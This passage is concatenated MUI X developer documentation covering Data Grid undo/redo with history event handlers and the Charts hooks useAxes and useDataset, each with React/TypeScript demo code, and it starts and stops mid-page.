| icon | `undefined` | - | The icon to display next to the Tree Item's label. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| `.Mui-disabled` | - | State class applied to the content element when the item is disabled. |
| - | editable | State class applied to the content element when the item is editable. |
| - | editing | State class applied to the content element when the item is being edited. |
| `.Mui-expanded` | - | State class applied to the content element when the item is expanded. |
| `.Mui-focused` | - | State class applied to the content element when the item is focused. |
| `.Mui-selected` | - | State class applied to the content element when the item is selected. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-tree-view/src/TreeItem/TreeItem.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-tree-view/src/TreeItem/TreeItem.tsx)

---

# Source: https://mui.com/x/react-data-grid/undo-redo.md

---
title: Data Grid - Undo and redo
---

# Data Grid - Undo and redo [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Let users undo and reapply changes made to the Data Grid.

The undo/redo feature lets users reverse and reapply their actions in the Data Grid.
It tracks registered events, listens for keyboard events and adds toolbar buttons.

## Basic usage

The undo/redo feature is enabled when at least one history event handler is registered and `historyStackSize` is greater than 0 (default is 30).
The toolbar automatically displays undo and redo buttons when the feature is active.

Users can:

- Undo an action using <kbd><kbd class="key">Ctrl</kbd>+<kbd class="key">Z</kbd></kbd> (<kbd><kbd class="key">⌘ Command</kbd>+<kbd class="key">Z</kbd></kbd> on macOS)
- Redo an action using <kbd><kbd class="key">Ctrl</kbd>+<kbd class="key">Shift</kbd>+<kbd class="key">Z</kbd></kbd> and <kbd><kbd class="key">Ctrl</kbd>+<kbd class="key">Y</kbd></kbd> (<kbd><kbd class="key">⌘ Command</kbd>+<kbd class="key">Shift</kbd>+<kbd class="key">Z</kbd></kbd> and <kbd><kbd class="key">⌘ Command</kbd>+<kbd class="key">Y</kbd></kbd> on macOS)

In the following demo, undo-redo is available for the "edit" and "paste" operations.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function BasicUndoRedo() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 200,
    editable: true,
  });

  return (
    <Box sx={{ height: 450, width: '100%' }}>
      <DataGridPremium
        {...data}
        pagination
        showToolbar
        disableRowSelectionOnClick
        cellSelection
        disablePivoting
      />
    </Box>
  );
}

```

### Disabling the undo and redo

To disable the undo/redo feature, set `historyStackSize` to `0`:

```tsx
<DataGridPremium historyStackSize={0} />
```

This removes existing history, prevents any further history from being tracked, and hides the undo/redo buttons from the toolbar.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Checkbox from '@mui/material/Checkbox';
import FormControlLabel from '@mui/material/FormControlLabel';
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ToggleUndoRedo() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 200,
    editable: true,
  });

  const [stackSize, setStackSize] = React.useState(0);

  return (
    <Box style={{ width: '100%' }}>
      <FormControlLabel
        control={
          <Checkbox
            checked={stackSize > 0}
            onChange={(event) => setStackSize(event.target.checked ? 10 : 0)}
          />
        }
        label="Enable undo/redo"
      />
      <Box style={{ height: 450, position: 'relative' }}>
        <DataGridPremium
          {...data}
          pagination
          showToolbar
          disableRowSelectionOnClick
          cellSelection
          disablePivoting
          historyStackSize={stackSize}
        />
      </Box>
    </Box>
  );
}

```

### Removing the toolbar buttons

To remove the toolbar buttons for undo and redo while keeping the keyboard controls active, set the `showHistoryControls` flag to `false` in the Toolbar's slot props.

```tsx
<DataGridPremium
  slotProps={{
    toolbar: {
      showHistoryControls: false,
      // ... other toolbar slotProps
    },
    // ... other slotProps
  }}
/>
```

## History event handlers

The Data Grid tracks changes and stores the data that can be used to revert those changes based on the provided history event handlers. Each handler must correspond to one of the [Data Grid events](/x/react-data-grid/events/#catalog-of-events).

A history event handler is an object that defines how to `store()`, `undo()`, `redo()`, and `validate()` the ability to undo or redo an action.

```tsx
interface GridHistoryEventHandler<T = any> {
  // Store the data when the event occurs.
  // Return `null` to skip adding the current change to the stack (to control undo step granularity)
  store: (...params: any[]) => T | null;

  // Undo the action
  undo: (data: T) => void | Promise<void>;

  // Redo the action
  redo: (data: T) => void | Promise<void>;

  // Validate whether the operation can be performed
  // Can be omitted if validation is not needed for the current history event handler
  validate?: (data: T, operation: 'undo' | 'redo') => boolean;
}
```

### Default handlers

The list of events that are handled by default depends on the props passed to Data Grid.

If none of the columns are [editable](/x/react-data-grid/editing/#making-a-column-editable), and [`isCellEditable()`](/x/react-data-grid/editing/#disable-editing-of-specific-cells-within-a-row) is not provided, then the feature is disabled because there are no default event handlers.

If there are editable cells, then the list of the default handlers depends on the way the data is provided to Data Grid.

When not using a [Data Source](/x/react-data-grid/server-side-data/), the following events are tracked out of the box:

- `rowEditStop` - Tracks changes made to entire rows in row edit mode
- `cellEditStop` - Tracks changes made to individual cells in cell edit mode
- `clipboardPasteEnd` - Tracks paste operations that can modify multiple cells

When using a Data Source, `clipboardPasteEnd` is not tracked and the other two events are only tracked if your Data Source is set up to support [editing](/x/react-data-grid/server-side-data/#updating-server-side-data) (by providing the `updateRow` method).

If you use a Data Source that doesn't have an `updateRow` method, then the history event handler list is empty and the feature is disabled.

:::warning
Default handlers invalidate the stack if the data is not visible to the user anymore due to filtering, grouping, page change, etc.

Check the customization sections to learn how to change the default behavior.
:::

The following demo shows the undo/redo feature working with a Data Source that supports row editing.
Remove the `updateRow` method to see the toolbar adjustment.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { DataGridPremium, GridDataSource } from '@mui/x-data-grid-premium';
import { useMockServer } from '@mui/x-data-grid-generator';

export default function DataSourceUndoRedo() {
  const {
    columns,
    initialState: initState,
    fetchRows,
    editRow,
  } = useMockServer({ editable: true }, { useCursorPagination: false });

  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params) => {
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
        });
        const getRowsResponse = await fetchRows(
          `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
        );
        return {
          rows: getRowsResponse.rows,
          rowCount: getRowsResponse.rowCount,
        };
      },
      updateRow: (params) => editRow(params.rowId, params.updatedRow),
    }),
    [fetchRows, editRow],
  );

  const initialState = React.useMemo(
    () => ({
      ...initState,
      pagination: {
        paginationModel: { pageSize: 10, page: 0 },
        rowCount: 0,
      },
    }),
    [initState],
  );

  return (
    <Box sx={{ height: 450, width: '100%' }}>
      <DataGridPremium
        columns={columns}
        dataSource={dataSource}
        pagination
        initialState={initialState}
        pageSizeOptions={[10, 20, 50]}
        showToolbar
        disableRowSelectionOnClick
        cellSelection
        disablePivoting
        disableRowGrouping
        disableColumnPinning
      />
    </Box>
  );
}

```

## Custom history event handlers

Provide your own map of the history event handlers via the `historyEventHandlers` prop to change the default handlers or to track more events and add them to the undo/redo stack.
Use default handler exports (like `createCellEditHistoryHandler()`) to create a map that can combine:

- default handlers
- your own handlers replacing default handlers
- handlers for other events not covered by the default handlers

### Customizing default handlers

The following demo shows how to customize the cell edit and clipboard paste handlers to:

- Keep undo/redo operations valid even when the cell is on a different page
- Automatically navigate to the correct page when undoing/redoing

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import {
  DataGridPremium,
  useGridApiRef,
  GridHistoryEventHandler,
  GridEvents,
  GridApiPremium,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';
import {
  createCustomCellEditHandler,
  createCustomClipboardPasteHistoryHandler,
} from './customHistoryEventHandlers';

export default function CustomHandlers() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 200,
    editable: true,
  });

  const apiRef = useGridApiRef() as React.RefObject<GridApiPremium>;

  const historyEventHandlers = React.useMemo(() => {
    if (!apiRef.current) {
      return {};
    }

    return {
      cellEditStop: createCustomCellEditHandler(apiRef),
      clipboardPasteEnd: createCustomClipboardPasteHistoryHandler(apiRef),
    };
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [apiRef.current]) as Record<GridEvents, GridHistoryEventHandler<any>>;

  return (
    <Box sx={{ height: 500, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        pagination
        pageSizeOptions={[50, 100]}
        showToolbar
        disableRowSelectionOnClick
        cellSelection
        disablePivoting
        disableRowGrouping
        disableColumnPinning
        historyEventHandlers={historyEventHandlers}
        initialState={{
          ...data.initialState,
          pagination: { paginationModel: { pageSize: 50 } },
        }}
      />
    </Box>
  );
}

```

### Creating a new handler

Track and let users undo of any Data Grid interaction by providing custom history event handlers.

The following demo keeps all the default handlers, and adds a custom history handler that tracks filter model changes.
This lets users to undo and redo filter operations.

To reduce the number of undo steps, changes on the filter model items that do not have a value are ignored.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import {
  DataGridPremium,
  useGridApiRef,
  GridHistoryEventHandler,
  GridEvents,
  GridFilterModel,
  GridApiPremium,
  createClipboardPasteHistoryHandler,
  createRowEditHistoryHandler,
  createCellEditHistoryHandler,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';
import { isDeepEqual } from './utils';

interface FilterHistoryData {
  oldFilterModel: GridFilterModel;
  newFilterModel: GridFilterModel;
}

function createFilterHistoryHandler(
  apiRef: React.RefObject<GridApiPremium>,
): GridHistoryEventHandler<FilterHistoryData> {
  let previousFilterModel: GridFilterModel | undefined;

  return {
    store: (newFilterModel: GridFilterModel) => {
      const oldFilterModel = previousFilterModel;
      previousFilterModel = { ...newFilterModel };

      // Ignore changes made to the operator for the empty values
      const oldFilterItemsWithValues = oldFilterModel?.items.filter(
        (item) => item.value !== undefined,
      );
      const newFilterItemsWithValues = newFilterModel.items.filter(
        (item) => item.value !== undefined,
      );

      if (
        !oldFilterModel &&
        newFilterItemsWithValues.length === 0 &&
        newFilterModel.quickFilterValues?.length === 0
      ) {
        return null;
      }

      if (
        oldFilterModel &&
        isDeepEqual(oldFilterItemsWithValues, newFilterItemsWithValues) &&
        isDeepEqual(
          oldFilterModel.quickFilterValues,
          newFilterModel.quickFilterValues,
        ) &&
        oldFilterModel.logicOperator === newFilterModel.logicOperator &&
        oldFilterModel.quickFilterLogicOperator ===
          newFilterModel.quickFilterLogicOperator
      ) {
        return null;
      }

      return {
        oldFilterModel: oldFilterModel || { items: [] },
        newFilterModel,
      };
    },

    undo: async (data: FilterHistoryData) => {
      const { oldFilterModel } = data;
      apiRef.current.setFilterModel(oldFilterModel);
    },

    redo: async (data: FilterHistoryData) => {
      const { newFilterModel } = data;
      apiRef.current.setFilterModel(newFilterModel);
    },
  };
}

export default function AddFilterHandler() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 200,
    editable: true,
  });

  const apiRef = useGridApiRef() as React.RefObject<GridApiPremium>;

  const historyEventHandlers = React.useMemo(() => {
    if (!apiRef.current) {
      return {};
    }

    return {
      cellEditStop: createCellEditHistoryHandler(apiRef),
      rowEditStop: createRowEditHistoryHandler(apiRef),
      clipboardPasteEnd: createClipboardPasteHistoryHandler(apiRef),
      filterModelChange: createFilterHistoryHandler(apiRef),
    };
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [apiRef.current]) as Record<GridEvents, GridHistoryEventHandler<any>>;

  return (
    <Box sx={{ height: 500, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        historyEventHandlers={historyEventHandlers}
        showToolbar
        disableRowSelectionOnClick
        cellSelection
        disablePivoting
        disableRowGrouping
        disableColumnPinning
      />
    </Box>
  );
}

```

## Validation events

The undo/redo state is automatically revalidated when certain grid events occur.
By default, validation happens on `paginationModelChange`, `columnsChange`, `sortedRowsSet`, `filteredRowsSet` and `rowsSet` events.

During revalidation, the `validate()` method of the current item in the stack is called for the `undo` operation and the `validate()` method of the next item in the stack is called for the `redo` operation.
If validation fails for the `undo` operation, all items in the stack before the current item and the current item itself are removed from the stack.
If validation fails for the `redo` operation, all items after the current item in the stack are removed from the stack.

### Customizing validation events

You can customize which events trigger revalidation using the `historyValidationEvents` prop.

```tsx
<DataGridPremium historyValidationEvents={['stateChange']} />
```

This is useful when you create a handler that tracks changes that don't affect rows or columns, or if you remove the default handlers and you don't need the validation on the default events anymore.

:::warning
List the events in the `historyValidationEvents` prop that are sufficient for validation to occur at the right time.
Be aware that adding `'stateChange'` to the list does have an impact on the performance of Data Grid.
:::

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-charts/hooks/use-axes.md

---
title: Charts - useAxes
productId: x-charts
---

# useAxes

Access axis configuration and properties for cartesian and polar charts.

The `use*Axes` and `use*Axis` hooks provide access to axis configurations and computed properties for both cartesian (x/y) and polar (rotation/radius) charts.

## Cartesian charts

For cartesian charts, you can use `useXAxes`, `useYAxes`, `useXAxis`, and `useYAxis` hooks to access x-axis and y-axis configurations.

### useXAxes / useYAxes

Use these hooks to access all axes of a given direction:

```js
import { useXAxes, useYAxes } from '@mui/x-charts/hooks';

function CustomComponent() {
  // All x-axes
  const { xAxis, xAxisIds } = useXAxes();
  // All y-axes
  const { yAxis, yAxisIds } = useYAxes();
}
```

### useXAxis / useYAxis

Use these hooks to access a specific axis by ID. If no ID is provided, the default axis is returned:

```js
import { useXAxis, useYAxis } from '@mui/x-charts/hooks';

function CustomComponent() {
  // Default x-axis
  const xAxis = useXAxis();
  // Specific x-axis
  const xAxisCustom = useXAxis('customAxisId');

  // Default y-axis
  const yAxis = useYAxis();
  // Specific y-axis
  const yAxisLeft = useYAxis('leftAxis');
}
```

## Polar charts

For polar charts (such as radar charts), you can use `useRotationAxes`, `useRadiusAxes`, `useRotationAxis`, and `useRadiusAxis` hooks.

### useRotationAxes / useRadiusAxes

```js
import { useRotationAxes, useRadiusAxes } from '@mui/x-charts/hooks';

function CustomComponent() {
  const { rotationAxis, rotationAxisIds } = useRotationAxes();
  const { radiusAxis, radiusAxisIds } = useRadiusAxes();
}
```

### useRotationAxis / useRadiusAxis

```js
import { useRotationAxis, useRadiusAxis } from '@mui/x-charts/hooks';

function CustomComponent() {
  // Default rotation axis
  const rotationAxis = useRotationAxis();
  // Specific rotation axis
  const rotationAxisCustom = useRotationAxis('customAxisId');

  // Access by index
  const radiusAxis = useRadiusAxis(0);
  // Access by ID
  const radiusAxisById = useRadiusAxis('radiusAxisId');
}
```

## Usage example

The following example demonstrates the use of `useXAxes` and `useYAxes` to access all axes in a chart with dual y-axes.
The custom components use these hooks to draw visual indicators showing the axis ranges and display axis metadata:

```tsx
import * as React from 'react';
import { useYAxes, useXAxis, useLineSeries } from '@mui/x-charts/hooks';
import { LinePlot } from '@mui/x-charts/LineChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
import { useTheme } from '@mui/material/styles';

const dataset = [
  { month: 'Jan', temperature: 5, rainfall: 45 },
  { month: 'Feb', temperature: 7, rainfall: 38 },
  { month: 'Mar', temperature: 12, rainfall: 42 },
  { month: 'Apr', temperature: 16, rainfall: 35 },
  { month: 'May', temperature: 21, rainfall: 28 },
  { month: 'Jun', temperature: 25, rainfall: 22 },
];

function AxisRangeIndicators() {
  const { yAxis, yAxisIds } = useYAxes();
  const xAxis = useXAxis<'band'>();
  const allSeries = useLineSeries();
  const theme = useTheme();

  const xDomain = xAxis.scale.domain();
  const xStart = xAxis.scale(xDomain[0]) ?? 0;
  const xEnd = xAxis.scale(xDomain[xDomain.length - 1]) ?? 0;

  return (
    <g>
      {allSeries.map((series) => {
        const axis = yAxis[series.yAxisId ?? yAxisIds[0]];

        const seriesMin = Math.min(
          ...(series.data.filter((v) => v != null) as number[]),
        );
        const seriesMax = Math.max(
          ...(series.data.filter((v) => v != null) as number[]),
        );

        const yMin = axis.scale(seriesMin) ?? 0;
        const yMax = axis.scale(seriesMax) ?? 0;

        const color = series.color;

        return (
          <g key={series.id}>
            {/* Min value horizontal line */}
            <line
              x1={xStart}
              x2={xEnd}
              y1={yMin}
              y2={yMin}
              stroke={color}
              strokeWidth={1.5}
              strokeDasharray="5 5"
              opacity={0.6}
            />
            {/* Max value horizontal line */}
            <line
              x1={xStart}
              x2={xEnd}
              y1={yMax}
              y2={yMax}
              stroke={color}
              strokeWidth={1.5}
              strokeDasharray="5 5"
              opacity={0.6}
            />
            {/* Min value label */}
            <text
              x={(xStart + xEnd) / 2}
              y={yMin - 6}
              fontSize="12"
              fill={theme.palette.text.secondary}
              fontWeight="bold"
              alignmentBaseline="middle"
              textAnchor="middle"
            >
              {axis.id}
            </text>
            <text
              x={xEnd + 6}
              y={yMin - 6}
              fontSize="12"
              fill={theme.palette.text.secondary}
              fontWeight="bold"
              alignmentBaseline="middle"
              textAnchor="start"
            >
              min
            </text>
            {/* Max value label */}
            <text
              x={(xStart + xEnd) / 2}
              y={yMax - 6}
              fontSize="12"
              fill={theme.palette.text.secondary}
              fontWeight="bold"
              alignmentBaseline="middle"
              textAnchor="middle"
            >
              {axis.id}
            </text>
            <text
              x={xEnd + 6}
              y={yMax - 6}
              fontSize="12"
              fill={theme.palette.text.secondary}
              fontWeight="bold"
              alignmentBaseline="middle"
              textAnchor="start"
            >
              max
            </text>
          </g>
        );
      })}
    </g>
  );
}

export default function UseAxes() {
  return (
    <div style={{ width: '100%' }}>
      <ChartDataProvider
        dataset={dataset}
        xAxis={[
          {
            id: 'months',
            scaleType: 'point',
            dataKey: 'month',
          },
        ]}
        yAxis={[
          {
            id: 'temperature',
            scaleType: 'linear',
            min: 0,
            max: 30,
            position: 'left',
            label: 'Temperature (°C)',
            width: 50,
            labelStyle: {
              translate: '5px',
            },
          },
          {
            id: 'rainfall',
            scaleType: 'linear',
            min: 0,
            max: 50,
            position: 'left',
            label: 'Rainfall (mm)',
            width: 50,
            labelStyle: {
              translate: '5px',
            },
          },
        ]}
        series={[
          {
            type: 'line',
            dataKey: 'temperature',
            label: 'Temperature (°C)',
            yAxisId: 'temperature',
            color: '#1976d2',
          },
          {
            type: 'line',
            dataKey: 'rainfall',
            label: 'Rainfall (mm)',
            yAxisId: 'rainfall',
            color: '#dc004e',
          },
        ]}
        height={300}
        margin={{ right: 40, left: 0 }}
      >
        <ChartsSurface>
          <LinePlot />
          <ChartsXAxis />
          <ChartsYAxis axisId="temperature" />
          <ChartsYAxis axisId="rainfall" />
          <AxisRangeIndicators />
        </ChartsSurface>
      </ChartDataProvider>
    </div>
  );
}

```

## Caveats

These hooks must be used within a chart context. See the [hooks overview](/x/react-charts/hooks/) for more information about proper usage.

---

# Source: https://mui.com/x/react-charts/hooks/use-dataset.md

---
title: Charts - useDataset
productId: x-charts
---

# useDataset

Access the dataset used to populate series and axes data.

The `useDataset` hook provides access to the dataset array that was passed to the chart. This is useful when you need to access the raw data for custom components or calculations.

To access the computed series and axes data, use the [useSeries](/x/react-charts/hooks/use-series/) and `useAxes` hooks instead.

## Usage

```js
import { useDataset } from '@mui/x-charts/hooks';

function CustomComponent() {
  const dataset = useDataset();
  // Access the raw dataset array
}
```

The hook returns the dataset array that was passed to the `dataset` prop of the chart, or `undefined` if no dataset was provided.

## Basic example

This example demonstrates using the `useDataset` hook to display dataset statistics above a chart:

```tsx
import * as React from 'react';
import { useDataset } from '@mui/x-charts/hooks';
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
import { LineHighlightPlot, LinePlot } from '@mui/x-charts/LineChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsLegend } from '@mui/x-charts/ChartsLegend';
import { ChartsTooltip } from '@mui/x-charts/ChartsTooltip';
import { ChartsAxisHighlight } from '@mui/x-charts/ChartsAxisHighlight';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Paper from '@mui/material/Paper';

const dataset = [
  { month: 'Jan', revenue: 4000, expenses: 2400 },
  { month: 'Feb', revenue: 3000, expenses: 1398 },
  { month: 'Mar', revenue: 2000, expenses: 9800 },
  { month: 'Apr', revenue: 2780, expenses: 3908 },
  { month: 'May', revenue: 1890, expenses: 4800 },
  { month: 'Jun', revenue: 2390, expenses: 3800 },
  { month: 'Jul', revenue: 3490, expenses: 4300 },
];

function DatasetStats() {
  const chartDataset = useDataset();

  if (!chartDataset) {
    return null;
  }

  const totalRevenue = chartDataset.reduce(
    (sum, item) => sum + (typeof item.revenue === 'number' ? item.revenue : 0),
    0,
  );
  const totalExpenses = chartDataset.reduce(
    (sum, item) => sum + (typeof item.expenses === 'number' ? item.expenses : 0),
    0,
  );
  const profit = totalRevenue - totalExpenses;

  return (
    <Paper
      elevation={2}
      sx={{
        p: 2,
        mb: 2,
        display: 'flex',
        gap: 3,
        justifyContent: 'space-around',
      }}
    >
      <div>
        <Typography variant="caption" color="text.secondary">
          Total Revenue
        </Typography>
        <Typography variant="h6" color="primary">
          ${totalRevenue.toLocaleString()}
        </Typography>
      </div>
      <div>
        <Typography variant="caption" color="text.secondary">
          Total Expenses
        </Typography>
        <Typography variant="h6" color="error">
          ${totalExpenses.toLocaleString()}
        </Typography>
      </div>
      <div>
        <Typography variant="caption" color="text.secondary">
          Net Profit
        </Typography>
        <Typography variant="h6" color={profit >= 0 ? 'success.main' : 'error.main'}>
          ${profit.toLocaleString()}
        </Typography>
      </div>
      <div>
        <Typography variant="caption" color="text.secondary">
          Data Points
        </Typography>
        <Typography variant="h6">{chartDataset.length}</Typography>
      </div>
    </Paper>
  );
}

export default function UseDataset() {
  return (
    <ChartDataProvider
      dataset={dataset}
      xAxis={[{ dataKey: 'month', scaleType: 'point' }]}
      series={[
        {
          dataKey: 'revenue',
          label: 'Revenue',
          color: '#1976d2',
          type: 'line',
        },
        {
          dataKey: 'expenses',
          label: 'Expenses',
          color: '#d32f2f',
          type: 'line',
        },
      ]}
      height={300}
    >
      <Box sx={{ width: '100%' }}>
        <DatasetStats />
        <ChartsSurface>
          <LinePlot />
          <ChartsXAxis />
          <ChartsYAxis />
          <ChartsAxisHighlight x="line" />
          <ChartsTooltip />
          <LineHighlightPlot />
        </ChartsSurface>
        <Box sx={{ display: 'flex', justifyContent: 'center' }}>
          <ChartsLegend direction="horizontal" />
        </Box>
      </Box>
    </ChartDataProvider>
  );
}

```

## Advanced example

This example shows how to use the dataset to create a custom data table that synchronizes with the chart:

```tsx
import * as React from 'react';
import { useDataset } from '@mui/x-charts/hooks';
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsLegend } from '@mui/x-charts/ChartsLegend';
import { ChartsTooltip } from '@mui/x-charts/ChartsTooltip';
import { ChartsAxisHighlight } from '@mui/x-charts/ChartsAxisHighlight';
import { AxisItemIdentifier } from '@mui/x-charts/models';
import Box from '@mui/material/Box';
import Table from '@mui/material/Table';
import TableBody from '@mui/material/TableBody';
import TableCell from '@mui/material/TableCell';
import TableContainer from '@mui/material/TableContainer';
import TableHead from '@mui/material/TableHead';
import TableRow from '@mui/material/TableRow';
import Paper from '@mui/material/Paper';
import Typography from '@mui/material/Typography';

const dataset = [
  { product: 'Product A', q1: 4000, q2: 3000, q3: 2000, q4: 2780 },
  { product: 'Product B', q1: 3000, q2: 1398, q3: 9800, q4: 3908 },
  { product: 'Product C', q1: 2000, q2: 9800, q3: 3000, q4: 4800 },
  { product: 'Product D', q1: 2780, q2: 3908, q3: 4000, q4: 3800 },
  { product: 'Product E', q1: 1890, q2: 4800, q3: 2390, q4: 3800 },
];

function DataTable({
  highlightedIndex,
  onHighlightedIndexChange,
}: {
  highlightedIndex: number | undefined;
  onHighlightedIndexChange: (index: number | null) => void;
}) {
  const chartDataset = useDataset();

  if (!chartDataset) {
    return null;
  }

  const calculateTotal = (item: any) => {
    return ['q1', 'q2', 'q3', 'q4'].reduce((sum, quarter) => {
      const value = item[quarter];
      return sum + (typeof value === 'number' ? value : 0);
    }, 0);
  };

  const calculateQuarterTotal = (quarter: string) => {
    return chartDataset.reduce((sum, item) => {
      const value = item[quarter];
      return sum + (typeof value === 'number' ? value : 0);
    }, 0);
  };

  const grandTotal = chartDataset.reduce(
    (sum, item) => sum + calculateTotal(item),
    0,
  );

  return (
    <TableContainer component={Paper} sx={{ mt: 3 }}>
      <Table size="small">
        <TableHead>
          <TableRow>
            <TableCell>
              <strong>Product</strong>
            </TableCell>
            <TableCell align="right">
              <strong>Q1</strong>
            </TableCell>
            <TableCell align="right">
              <strong>Q2</strong>
            </TableCell>
            <TableCell align="right">
              <strong>Q3</strong>
            </TableCell>
            <TableCell align="right">
              <strong>Q4</strong>
            </TableCell>
            <TableCell align="right">
              <strong>Total</strong>
            </TableCell>
          </TableRow>
        </TableHead>
        <TableBody>
          {chartDataset.map((row, index) => (
            <TableRow
              key={String(row.product)}
              onPointerEnter={() => onHighlightedIndexChange(index)}
              onPointerLeave={() => onHighlightedIndexChange(null)}
              sx={{
                backgroundColor:
                  highlightedIndex === index ? 'action.hover' : 'transparent',
                transition: 'background-color 0.2s',
                cursor: 'pointer',
              }}
            >
              <TableCell component="th" scope="row">
                {String(row.product)}
              </TableCell>
              <TableCell align="right">
                ${typeof row.q1 === 'number' ? row.q1.toLocaleString() : 0}
              </TableCell>
              <TableCell align="right">
                ${typeof row.q2 === 'number' ? row.q2.toLocaleString() : 0}
              </TableCell>
              <TableCell align="right">
                ${typeof row.q3 === 'number' ? row.q3.toLocaleString() : 0}
              </TableCell>
              <TableCell align="right">
                ${typeof row.q4 === 'number' ? row.q4.toLocaleString() : 0}
              </TableCell>
              <TableCell align="right">
                <strong>${calculateTotal(row).toLocaleString()}</strong>
              </TableCell>
            </TableRow>
          ))}
          <TableRow sx={{ backgroundColor: 'action.hover' }}>
            <TableCell>
              <strong>Total</strong>
            </TableCell>
            <TableCell align="right">
              <strong>${calculateQuarterTotal('q1').toLocaleString()}</strong>
            </TableCell>
            <TableCell align="right">
              <strong>${calculateQuarterTotal('q2').toLocaleString()}</strong>
            </TableCell>
            <TableCell align="right">
              <strong>${calculateQuarterTotal('q3').toLocaleString()}</strong>
            </TableCell>
            <TableCell align="right">
              <strong>${calculateQuarterTotal('q4').toLocaleString()}</strong>
            </TableCell>
            <TableCell align="right">
              <strong>${grandTotal.toLocaleString()}</strong>
            </TableCell>
          </TableRow>
        </TableBody>
      </Table>
    </TableContainer>
  );
}

export default function UseDatasetAdvanced() {
  const [highlightedAxis, setHighlightedAxis] = React.useState<AxisItemIdentifier[]>(
    [],
  );

  const setHighlightedIndexCallback = React.useCallback((index: number | null) => {
    if (index === null) {
      setHighlightedAxis([]);
    } else {
      setHighlightedAxis([{ axisId: 'x-axis-id', dataIndex: index }]);
    }
  }, []);

  return (
    <ChartDataProvider
      dataset={dataset}
      xAxis={[{ id: 'x-axis-id', dataKey: 'product', scaleType: 'band' }]}
      series={[
        { dataKey: 'q1', label: 'Q1', stack: 'total', type: 'bar' },
        { dataKey: 'q2', label: 'Q2', stack: 'total', type: 'bar' },
        { dataKey: 'q3', label: 'Q3', stack: 'total', type: 'bar' },
        { dataKey: 'q4', label: 'Q4', stack: 'total', type: 'bar' },
      ]}
      height={300}
      highlightedAxis={highlightedAxis}
      onHighlightedAxisChange={setHighlightedAxis}
    >
      <Box sx={{ width: '100%' }}>
        <Typography variant="h6" gutterBottom>
          Quarterly Sales Report
        </Typography>
        <ChartsSurface>
          <BarPlot />
          <ChartsXAxis />
          <ChartsYAxis />
          <ChartsAxisHighlight x="band" />
          <ChartsTooltip />
        </ChartsSurface>
        <Box sx={{ display: 'flex', justifyContent: 'center' }}>
          <ChartsLegend direction="horizontal" />
        </Box>
        <DataTable
          highlightedIndex={highlightedAxis[0]?.dataIndex}
          onHighlightedIndexChange={setHighlightedIndexCallback}
        />
      </Box>
    </ChartDataProvider>
  );
}

```

## Return value

The hook returns:

| Type                                 | Description                                                                       |
| :----------------------------------- | :-------------------------------------------------------------------------------- |
| `Readonly<DatasetType> \| undefined` | The dataset array passed to the chart, or `undefined` if no dataset was provided. |

The `DatasetType` is an array of objects where each object represents a data point with various properties. For example:

```ts
const dataset = [
  { month: 'Jan', sales: 100, expenses: 80 },
  { month: 'Feb', sales: 150, expenses: 90 },
  { month: 'Mar', sales: 120, expenses: 70 },
];
```

:::info
The `useDataset` hook only works when using the `dataset` prop. If you're passing data directly to series via the `data` prop, this hook will return `undefined`.
:::

## When to use

The `useDataset` hook is particularly useful when:

- Creating custom components that need access to the raw data
- Building data tables or summaries alongside your charts
- Performing calculations on the full dataset

## Caveats

This hook must be used within a chart context. See the [hooks overview](/x/react-charts/hooks/) for more information about proper usage.

---

# Source: https://mui.com/x/react-charts/hooks/use-drawing-area.md

---
title: Charts - useDrawingArea
productId: x-charts
---

# useDrawingArea

Access the chart's drawing area dimensions and coordinates.

The `useDrawingArea` hook provides access to the chart's drawing area dimensions and positioning, which is useful for positioning custom elements within the chart area.

## Usage

```js
import { useDrawingArea } from '@mui/x-charts/hooks';

function CustomOverlay() {
  const { left, right, top, bottom, width, height } = useDrawingArea();
  // Position custom elements within the chart area
